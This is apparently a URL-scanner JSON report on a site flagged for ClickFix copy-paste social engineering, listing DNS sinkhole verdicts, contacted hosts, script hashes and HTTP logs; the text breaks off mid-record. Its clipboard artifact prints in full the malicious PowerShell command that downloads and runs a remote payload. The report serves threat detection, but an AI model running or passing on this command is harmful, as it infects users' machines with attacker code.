{"report_id":"e19c32c1-2fca-4541-bfb2-0472d9509f12","version":0,"status":"done","tags":["malicious","clickfix"],"date":"2026-08-05T21:14:24Z","url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":0,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"final":{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"title":"Just a moment...","dom":{"size":343280,"mime_type":"text/html; charset=utf-8","magic":"HTML document, ASCII text, with very long lines (56018)","md5":"125270967eccacc6b8c45ba197da0639","sha1":"be36fc8b7c55058918ca5bb3109ac4217ac2d7d9","sha256":"de4e8bc771a5dbac203dfe00e38b50b5d8cefd329cab5cccc8bc11de4d0ecc4b","sha512":"ddcd6015bb05989a918b2fd38159a6b6c18ea30e43183615f78c940f88bb2578ef3180da61a3c3f56412cda92fa9a4c7f7fb3d0e2c9b067588f9cc41f0eb9211","ssdeep":"6144:oOt8uGgr23Ot8uGgr2rOt8uGgr2hOt8uGgr2n:5i/grZi/gr7i/grfi/grM","tlshash":"a474e033921f2d8a76170d90e41427082de9bc9fba24da98fdcc0596d7fd620cd9d8b6","dom_hash":"domhasha9700eff9b0f637727d57c79da26fc41","first_seen":"2026-08-05T21:14:25.903722Z","last_seen":"2026-08-05T21:14:25.903722Z","times_seen":1,"resource_available":false,"data":null}},"submit":{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":0,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"tags":null,"meta":null},"settings":{"access":"public","device_type":"desktop","expires_at":"2027-09-09T21:14:24Z","useragent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0","referer":"","cookies":null,"exit_node":"qguvgzjxzsgb3vs"},"stats":{"alert_count":{"ids":0,"urlquery":2,"analyzer":8}},"detection":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null}],"urlquery":[{"sensor_name":"urlquery","alert":"Malicious - Copy/Paste Social Engineering (ClickFix)","verdict":"malicious","severity":"medium","comment":"","tags":["malicious","clickfix"],"meta":null},{"sensor_name":"urlquery","alert":"Malicious - Copy/Paste Social Engineering (ClickFix)","verdict":"malicious","severity":"medium","comment":"","tags":["malicious","clickfix"],"meta":null}]},"summary":[{"fqdn":"rpc.ankr.com","ip":{"addr":"","port":0,"asn":0,"as":"","country":"","country_code":"zz"},"domain_registered":"2007-04-23","domain_rank":541361,"first_seen":"2021-10-24T12:41:06Z","last_seen":"2026-08-05T08:55:18.161798Z","alert_count":0,"request_count":1,"received_data":0,"sent_data":501,"comment":"","tags":null,"fingerprints":null},{"fqdn":"polygon.gateway.tenderly.co","ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"domain_registered":"2020-05-11","domain_rank":0,"first_seen":"2025-08-03T10:23:07.273214Z","last_seen":"2026-08-04T17:51:06.088077Z","alert_count":0,"request_count":1,"received_data":514,"sent_data":509,"comment":"","tags":null,"fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}]},{"fqdn":"polygon.drpc.org","ip":{"addr":"104.18.10.59","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"2005-01-09","domain_rank":0,"first_seen":"2023-12-16T03:46:28Z","last_seen":"2026-08-05T02:55:54.132665Z","alert_count":0,"request_count":1,"received_data":758,"sent_data":498,"comment":"","tags":null,"fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}]},{"fqdn":"polygon.lava.build","ip":{"addr":"104.18.25.75","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"2023-09-14","domain_rank":7157037,"first_seen":"2025-08-27T09:05:44.919474Z","last_seen":"2026-08-05T08:55:18.298037Z","alert_count":0,"request_count":1,"received_data":1389,"sent_data":500,"comment":"","tags":null,"fingerprints":[{"name":"Cloudflare Bot Management","description":"Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.","website":"https://www.cloudflare.com/en-gb/products/bot-management/","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}]},{"fqdn":"blazerpro.pro","ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"unknown","domain_rank":0,"first_seen":"2026-08-02T22:27:50.07813Z","last_seen":"2026-08-02T22:27:50.07813Z","alert_count":25,"request_count":6,"received_data":431333,"sent_data":3143,"comment":"","tags":null,"fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}]},{"fqdn":"polygon-bor-rpc.publicnode.com","ip":{"addr":"172.66.150.162","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"2016-08-16","domain_rank":2163006,"first_seen":"2024-04-26T08:35:48Z","last_seen":"2026-08-04T09:27:34.680274Z","alert_count":0,"request_count":1,"received_data":765,"sent_data":512,"comment":"","tags":null,"fingerprints":[{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}]},{"fqdn":"upload.wikimedia.org","ip":{"addr":"185.15.59.240","port":443,"asn":14907,"as":"WIKIMEDIA","country":"United States","country_code":"US"},"domain_registered":"2003-03-16","domain_rank":4329,"first_seen":"2012-05-21T09:39:45Z","last_seen":"2026-08-03T17:05:44.081873Z","alert_count":0,"request_count":1,"received_data":65330,"sent_data":579,"comment":"","tags":null,"fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Apache Traffic Server:9.2.13","description":"Apache Traffic Server is an open-source caching and proxying server that serves as an HTTP/1.1 and HTTP/2 reverse proxy with caching capabilities, load balancing, request routing, SSL termination, and support for advanced HTTP features.","website":"https://trafficserver.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*","icon":"Apache Traffic Server.svg","categories":["Web servers"]}]},{"fqdn":"gateway.tenderly.co","ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"domain_registered":"2020-05-11","domain_rank":1960624,"first_seen":"2022-05-12T13:13:46Z","last_seen":"2026-08-05T08:55:19.274959Z","alert_count":0,"request_count":1,"received_data":514,"sent_data":515,"comment":"","tags":null,"fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}]},{"fqdn":"telemetryworks.pro","ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"domain_registered":"unknown","domain_rank":0,"first_seen":"2026-08-05T21:08:00.135989Z","last_seen":"2026-08-05T21:08:00.135989Z","alert_count":13,"request_count":3,"received_data":22551,"sent_data":1556,"comment":"","tags":null,"fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}]}],"files":null,"artifacts":{"windows_shortcuts":null,"files":null,"telegram":null,"pdfs":null,"clipboard":[{"source":"clipboard","content":"powershell -w h -nop -ep b -c \"$w=[Net.WebClient]::new();$null=$w.DownloadString('https://t.me/+aTgFl8Lv8sVmNTA0')-match'ion[^\u003e]*\u003e(\\S+)\\s';$p=$env:PUBLIC+'\\x';$w.DownloadFile('https://'+$matches[1]+'/rfy.dat?z=1',$p);gc $p|powershell -nop -c -\""}]},"sensors":{"ids":null,"analyzer":null,"urlquery":[{"sensor_name":"urlquery","alert":"Malicious - Copy/Paste Social Engineering (ClickFix)","verdict":"malicious","severity":"medium","comment":"","tags":["malicious","clickfix"],"meta":null}]},"javascript":{"script":[{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"introduction_type":"scriptElement","is_inline":true,"md5":"814368230b134e5641a54e81d8d83c52","sha1":"d8fbbba47cd5f16177b93835bd503791eb6ca133","sha256":"3813ba3ce3c7300f0f0ed45afe9883d38075260c18097123aa6ef12dc52080db","sha512":"a3985cb7a49b09c355e52e690a975144e09243a4cbce41d75e0d20590ca1ef5b9110305fd9241b09a9c13eced21793d3353058512649dd2b0fb23b8f6192b45f","ssdeep":"384:b45tiRQMiewAaMdBDaWg5/cM54tLShlXz6xRnX/GehQu74adkz6lfLYKTyBUK4lp:bwtTeX9g5/uGy+emu0vm9LYKUAhqO3a2","tlshash":"dd924c45c6b488e14daf63c79d7abb9b8e4193306653f5c578442b428d21b62b3bce0f","size":19660,"data":"","first_seen":"2026-06-08T23:28:53.88929Z","last_seen":"2026-08-05T23:24:57.799134Z","times_seen":173,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"introduction_type":"scriptElement","is_inline":true,"md5":"0fb8e9bfeacfd29716f1c32d2d0f687f","sha1":"b6487fa94fd9a68eb771f7d5d871a48b62de3993","sha256":"4d9d3b33d127b748ecc95b5b89bffc85075dfe83947b25759b0d7824433892c4","sha512":"003af815281f59e150635040ffe9de7aad0cd6e9ae5e383ad087e416680267f4bf0e825e4c96f8d916f151424d30ad1dd0e1887f7b6ff78ab041d32106386227","ssdeep":"","tlshash":"b1f0e90d34157d228bfab9b3810f9643b03764129d975dca1bae5be05830e8c9b53a60","size":523,"data":"","first_seen":"2026-06-25T03:13:38.190989Z","last_seen":"2026-08-05T23:24:57.799727Z","times_seen":155,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/cf.js?v=2","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"introduction_type":"scriptElement","is_inline":false,"md5":"a7b2e683a634aa993dd559017f228c0a","sha1":"f760b29972321ba8e05e3d7c88b161185d167cc2","sha256":"3e0ebd5eeaecb9d289fd21046508fd8ff50ebe9293d4f7aa3bd938cee9135db6","sha512":"1a05c6657f628bab52c56f5193a19a9ca8dfd5357a2a4b9209d2f6f9ad8540214c2e71aba10b29f58546975fe5c4e799f9f35d87adc624dc293cc86789535fd9","ssdeep":"6144:KXOt8uGgr25Ot8uGgr2QOt8uGgr2HOt8uGgr2AR9abd3q1:K+i/grRi/grGi/grXi/grfR9abd8","tlshash":"1294d077596f2f1425275d95a0042b146cf938bbea00c7e4bcdc48a66bf8530dd2eaf8","size":426644,"data":"","first_seen":"2026-07-24T10:51:36.657157Z","last_seen":"2026-08-05T23:24:57.684921Z","times_seen":22,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"introduction_type":"Function","is_inline":false,"md5":"3e09bb7c05732697c10c998af4324353","sha1":"49ca91255ae207b5e311d6a1e9688a8594f60189","sha256":"e23d7ab5508f4b537708ff089d945fc33b44f5460415da9161132d5519b6e488","sha512":"18df0234cc7f277a0937ea6491a6ba5bcdce4b103abc2ba612e0c9b56b961ae1e927b352e9a5f742fff0bebfe4eb915f74ae960765073257d5f2a424f2a1aee4","ssdeep":"192:USSHiqaK5bb58NuXQKkw90mt74W8S7fcT9A7bFJ4B7dWkTC2qgMLdUeTlqcs34ws:hlcr90W84bn4B7dWk+2qgMC34RNYzdo","tlshash":"8852c794356791b543e70ee0002e5544fd3bea023d8cc4a0b2ab4ec7179f6b6a1b7a7d","size":14420,"data":"","first_seen":"2026-06-08T23:28:53.890862Z","last_seen":"2026-08-05T23:24:57.800846Z","times_seen":173,"alerts":{"ids":null,"analyzer":null,"urlquery":null}}],"eval":null,"write":null,"console":null},"http":[{"url":{"schema":"https","addr":"polygon.drpc.org/","fqdn":"polygon.drpc.org","domain":"drpc.org","tld":"org"},"ip":{"addr":"104.18.10.59","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.195Z","timestamp":1785964438195,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"drpc.org","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Sun, 14 Jun 2026 23:01:08 GMT","end":"Sun, 13 Sep 2026 00:00:59 GMT"},"fingerprint":{"sha1":"7F:E5:3C:EC:15:AC:2B:17:FE:8B:3B:16:E4:25:9A:40:37:43:63:45","sha256":"DF:D3:75:05:E3:1C:E5:C2:B8:D6:2A:66:75:39:9A:D3:91:D6:86:E7:7B:11:D6:84:3E:A1:0F:FF:79:47:06:19"}}},"request":{"raw":"POST / HTTP/1.1\r\nHost: polygon.drpc.org\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":136,"data":"{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308\",\"data\":\"0x38bcdc1c\"},\"latest\"],\"id\":1}"}},"response":{"raw":"HTTP/2 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\ncontent-type: application/json\r\naccess-control-allow-origin: *\r\nvary: Origin, accept-encoding\r\nx-drpc-owner-id: cb501251-31a8-4028-8b0a-54679f15c385\r\nx-drpc-owner-tier: free\r\nx-drpc-provider-id: drpc-core-free\r\nx-drpc-trace-id: 6133032401300d3acff5a32253227e9e\r\nstrict-transport-security: max-age=31536000; includeSubDomains\r\ncf-cache-status: DYNAMIC\r\ncontent-encoding: zstd\r\nserver: cloudflare\r\ncf-ray: a268cf0acc69783d-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":230,"size_decoded":614,"mime_type":"application/json","magic":"JSON text data","md5":"2525df1e3032e0cad9aea6d1f2075adf","sha1":"7eef4a874e9ba1e5a93b982cef24c05bc658fab3","sha256":"50add2d8809fd0e5d021e6bd551811558975bf741167baa7b86ff929cbecc277","sha512":"b00d43bf269fd67e5b51ccae506e162b72bfc82ceb0bb8004e8f6f8fe62a38a524e8eaf7d90155475907a98871723c4168afdb29f206319d0b0ba6b58b84dcf4","ssdeep":"","tlshash":"5ad022e0038ec333cc0c0c00e08833b022383bca88c20e02e30e00c0008822fb222302","first_seen":"2026-08-02T22:27:59.802067Z","last_seen":"2026-08-05T23:24:57.659033Z","times_seen":9,"resource_available":false,"data":null}},"time_used":85,"timings":{"blocked":-1,"dns":3,"connect":1,"send":0,"wait":71,"receive":0,"ssl":10},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"polygon.lava.build/","fqdn":"polygon.lava.build","domain":"lava.build","tld":"build"},"ip":{"addr":"104.18.25.75","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.199Z","timestamp":1785964438199,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"lava.build","organization":""},"issuer":{"commonName":"YE1","organization":"Let's Encrypt"},"validity":{"start":"Wed, 24 Jun 2026 14:42:06 GMT","end":"Tue, 22 Sep 2026 14:42:05 GMT"},"fingerprint":{"sha1":"8A:8E:7D:2C:B5:2A:05:E2:FB:54:48:81:D1:E6:9D:D5:10:54:BB:33","sha256":"10:AB:85:27:B2:25:A4:3D:F5:D8:AA:92:2D:A8:9B:2D:24:4C:64:27:F8:7E:69:6E:D3:CF:32:E9:9C:0C:7F:A1"}}},"request":{"raw":"POST / HTTP/1.1\r\nHost: polygon.lava.build\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":136,"data":"{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308\",\"data\":\"0x38bcdc1c\"},\"latest\"],\"id\":1}"}},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\ncontent-type: application/json; charset=utf-8\r\ncontent-length: 93\r\nserver: cloudflare\r\ncontent-encoding: gzip\r\nlava-provider-address: lava@1ngrq3cpntzm9gtg70uf8tczxgm8j0rql7k2y8p\r\nprovider-latest-block: 91506274\r\nlava-guid: 2254000287820831647\r\nlava-user-request-type: eth_call\r\nvary: Accept-Encoding\r\naccess-control-allow-credentials: true\r\naccess-control-allow-headers: *\r\naccess-control-allow-methods: *\r\naccess-control-allow-origin: *\r\nlava-origin: mainnet-iprpc-eu-4\r\ncf-cache-status: DYNAMIC\r\nset-cookie: __cf_bm=JQXPjaJqhbbkSl37m4ojsVyxCKKq02yqlBEtvc6xIkg-1785964438.2196782-1.0.1.1-28uz2bldAgjB4_YfYfnmuUa6_Kat6BuqfHpx9rGW5CNVOrRYpx8bhTkqy6ulQcRC2Eax4vqOt9vedfN.e1l5EYvWzq3RqkIFLY_rXKec1RCnglR2DwywwB_uMz1Gc0E9; HttpOnly; SameSite=None; Secure; Path=/; Domain=lava.build; Expires=Wed, 05 Aug 2026 21:43:58 GMT\n_cfuvid=.ulyPdpe4u.wRfv7H0fzvGG9NV2kwzo.0Gy8EpfzBao-1785964438.2196782-1.0.1.1-UjlxNOVjUELyHOTNtlwbnePGb0EROWTo8aB341zjMf0; HttpOnly; SameSite=None; Secure; Path=/; Domain=lava.build\r\npriority: u=3,i=?0\r\ncf-ray: a268cf0adea5c272-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare Bot Management","description":"Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.","website":"https://www.cloudflare.com/en-gb/products/bot-management/","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["Security"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":230,"size_decoded":1252,"mime_type":"application/json; charset=utf-8","magic":"JSON text data","md5":"b0af3ea57f48a8f167ced25e28bf720a","sha1":"68f2e0ef74d776aacf176922ff62675596dcd7c8","sha256":"1810379e13d6cf51d3b2871812ca41dbcf9cd528ecd3519cd0d4cc1a04a0cec4","sha512":"4d1c75b18e37c5c9abbed7fe0c93b4841fd0b9c6253d11b43574f6600fa75c6f2fab8140f27a600431392e04b9f8862839164d78377995f12fcb67f3b0043500","ssdeep":"","tlshash":"99d022a0038ec333c80c0c00e08832a023303eca88c20e02a38e08c0028822fb222322","first_seen":"2026-08-02T22:27:59.795573Z","last_seen":"2026-08-05T23:24:57.683998Z","times_seen":9,"resource_available":false,"data":null}},"time_used":183,"timings":{"blocked":-1,"dns":5,"connect":18,"send":0,"wait":159,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"gateway.tenderly.co/public/polygon","fqdn":"gateway.tenderly.co","domain":"tenderly.co","tld":"co"},"ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.202Z","timestamp":1785964438202,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"*.gateway.tenderly.co","organization":""},"issuer":{"commonName":"YR2","organization":"Let's Encrypt"},"validity":{"start":"Mon, 15 Jun 2026 18:01:31 GMT","end":"Sun, 13 Sep 2026 18:01:30 GMT"},"fingerprint":{"sha1":"9A:41:E5:34:79:91:EC:A6:18:2C:A5:9B:64:A2:94:81:A0:74:A3:57","sha256":"DD:73:B2:F2:0C:93:E6:AC:22:8B:33:E7:18:12:2F:78:95:14:EF:D9:E1:B3:D5:59:5A:73:0E:1B:07:B3:90:E9"}}},"request":{"raw":"POST /public/polygon HTTP/1.1\r\nHost: gateway.tenderly.co\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":136,"data":"{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308\",\"data\":\"0x38bcdc1c\"},\"latest\"],\"id\":1}"}},"response":{"raw":"HTTP/2 200 \r\naccess-control-allow-origin: *\r\ncontent-type: application/json; charset=utf-8\r\nvary: Origin\r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\ncontent-length: 230\r\nx-envoy-upstream-service-time: 4\r\nserver: envoy\r\nvia: 1.1 google\r\nalt-svc: h3=\":443\"; ma=2592000\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google 